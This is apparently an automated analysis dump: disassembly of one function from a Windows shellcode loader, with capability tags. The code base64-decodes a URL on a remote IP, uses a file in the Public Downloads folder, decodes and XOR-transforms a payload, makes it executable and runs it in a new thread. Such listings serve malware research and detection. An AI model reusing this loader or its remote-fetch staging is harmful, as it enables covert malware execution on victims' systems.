Function at 0x140007290
Capabilities:
Allocate or change rwx memory
Create thread
Decode data using base64 via winapi
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x388
mov qword [rsp + 0x1a0], 0xfffffffffffffffe
mov dword [rsp + 0x58], 0
lea rax, str.aHR0cDovLzEyNC4yMjEuNDMuMTMvMS50eHQ
mov qword [rsp + 0xb0], rax
lea rax, [0x1400097a0]
mov qword [rsp + 0x118], rax
mov rdx, qword [rsp + 0x118]
mov rcx, qword [rsp + 0xb0]
call fcn.1400058c4
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
lea rdx, str.C:UsersPublicDownloads1.txt
lea rcx, [rsp + 0x270]
call fcn.140003310
nop
lea rcx, [rsp + 0x50]
call fcn.140001ac8
mov qword [rsp + 0xb8], rax
lea rcx, [rsp + 0x238]
call fcn.1400036c0
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x180], xmm0
lea rdx, [rsp + 0x270]
lea rcx, [rsp + 0x248]
call fcn.140003644
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x1b0], xmm0
mov rax, qword [rsp + 0xb8]
mov r9, rax
lea r8, [rsp + 0x180]
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x1f8]
call fcn.1400012a0
nop
lea rcx, [rsp + 0x1f8]
call fcn.140005730
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x1f8]
call fcn.140005e34
mov dword [rsp + 0x54], eax
lea rcx, str.activeds.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x80], rax
lea rdx, str.AllocADsMem
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xc0], rax
lea rdx, str.FreeADsMem
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x110], rax
mov ecx, dword [rsp + 0x54]
call qword [rsp + 0xc0]
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [rsp + 0x158]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], 0x20
lea r9, [rsp + 0x218]
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.api_ms_win_core_memory_l1_1_4.dll_QueryVirtualMemoryInformation]
lea rcx, [rsp + 0x98]
call fcn.14000376c
nop
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 1
mov edx, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [rsp + 0x40]
mov edx, eax
lea rcx, [rsp + 0x98]
call fcn.140006700
lea rcx, [rsp + 0x98]
call fcn.140005870
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x20], rcx
mov r9, rax
mov r8d, 1
mov edx, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov byte [rsp + 0x48], 0x11
mov byte [rsp + 0x49], 0x22
mov byte [rsp + 0x4a], 0x33
mov byte [rsp + 0x4b], 0x44
mov byte [rsp + 0x4c], 0x55
lea rcx, [rsp + 0x51]
call fcn.140001ac8
mov qword [rsp + 0xc8], rax
lea rcx, [rsp + 0x4d]
mov r8, rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x258]
call fcn.140003614
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x190], xmm0
mov rax, qword [rsp + 0xc8]
mov r8, rax
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0x1c0]
call fcn.14000370c
nop
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
call fcn.14000519c
mov qword [rsp + 0x68], rax
mov rcx, qword [rsp + 0x90]
call fcn.1400051b8
mov qword [rsp + 0xd0], rax
jmp 0x140007592
mov rax, qword [rsp + 0x68]
inc rax
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0xd0]
cmp qword [rsp + 0x68], rax
je 0x1400075ee
mov rax, qword [rsp + 0x68]
mov al, byte [rax]
mov byte [rsp + 0x44], al
lea rcx, [rsp + 0x98]
call fcn.140005870
mov r8b, byte [rsp + 0x44]
mov edx, dword [rsp + 0x40]
mov rcx, rax
call fcn.140006f54
mov dword [rsp + 0x70], 2
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x160]
call fcn.140001194
mov rcx, rax
call fcn.140003008
jmp 0x140007585
lea rcx, [rsp + 0x52]
call fcn.140001ac8
mov qword [rsp + 0xd8], rax
lea rdx, [rsp + 0x168]
lea rcx, [rsp + 0x98]
call fcn.140005afc
mov qword [rsp + 0xe0], rax
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0x98]
call fcn.1400056d4
mov rcx, qword [rsp + 0xd8]
mov r9, rcx
mov rcx, qword [rsp + 0xe0]
mov r8, qword [rcx]
mov rdx, qword [rax]
lea rcx, [rsp + 0x1d8]
call fcn.140001218
nop
xor r8d, r8d
lea rdx, [0x14000954c]
lea rcx, [rsp + 0x1d8]
call fcn.140005cf8
mov r9, rax
xor r8d, r8d
lea rdx, [rsp + 0x138]
lea rcx, [rsp + 0x1d8]
call fcn.140006a08
nop
lea rcx, [rsp + 0x120]
call fcn.14000376c
nop
lea rcx, [rsp + 0x138]
call fcn.140005e34
mov qword [rsp + 0xe8], rax
lea rcx, [rsp + 0x138]
call fcn.140005730
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
mov r8d, 1
mov rcx, qword [rsp + 0xe8]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [rsp + 0x40]
mov edx, eax
lea rcx, [rsp + 0x120]
call fcn.140006700
lea rcx, [rsp + 0x120]
call fcn.140005870
mov qword [rsp + 0xf0], rax
lea rcx, [rsp + 0x138]
call fcn.140005e34
mov qword [rsp + 0xf8], rax
lea rcx, [rsp + 0x138]
call fcn.140005730
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0xf0]
mov r9, rcx
mov r8d, 1
mov rcx, qword [rsp + 0xf8]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [rsp + 0x40]
mov qword [rsp + 0x100], rax
lea rcx, [rsp + 0x120]
call fcn.140005870
mov rcx, qword [rsp + 0x100]
mov r8, rcx
mov rdx, rax
mov rcx, qword [rsp + 0x60]
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [rsp + 0x40]
lea r9, [rsp + 0x58]
mov r8d, 0x40
mov edx, eax
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x74], eax
cmp dword [rsp + 0x74], 0
je 0x140007814
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x60]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x108], rax
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x108]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea r9, [rsp + 0x58]
mov r8d, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x230]
mov rcx, qword [rsp + 0x218]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
call qword [rsp + 0x110]
mov dword [rsp + 0x78], 0
lea rcx, [rsp + 0x120]
call fcn.140003bfc
nop
lea rcx, [rsp + 0x138]
call fcn.140003b84
nop
lea rcx, [rsp + 0x1d8]
call fcn.140003b84
nop
lea rcx, [rsp + 0x1c0]
call fcn.140003bfc
nop
lea rcx, [rsp + 0x98]
call fcn.140003bfc
nop
lea rcx, [rsp + 0x1f8]
call fcn.140003b84
nop
lea rcx, [rsp + 0x270]
call fcn.1400040d8
mov eax, dword [rsp + 0x78]
add rsp, 0x388
ret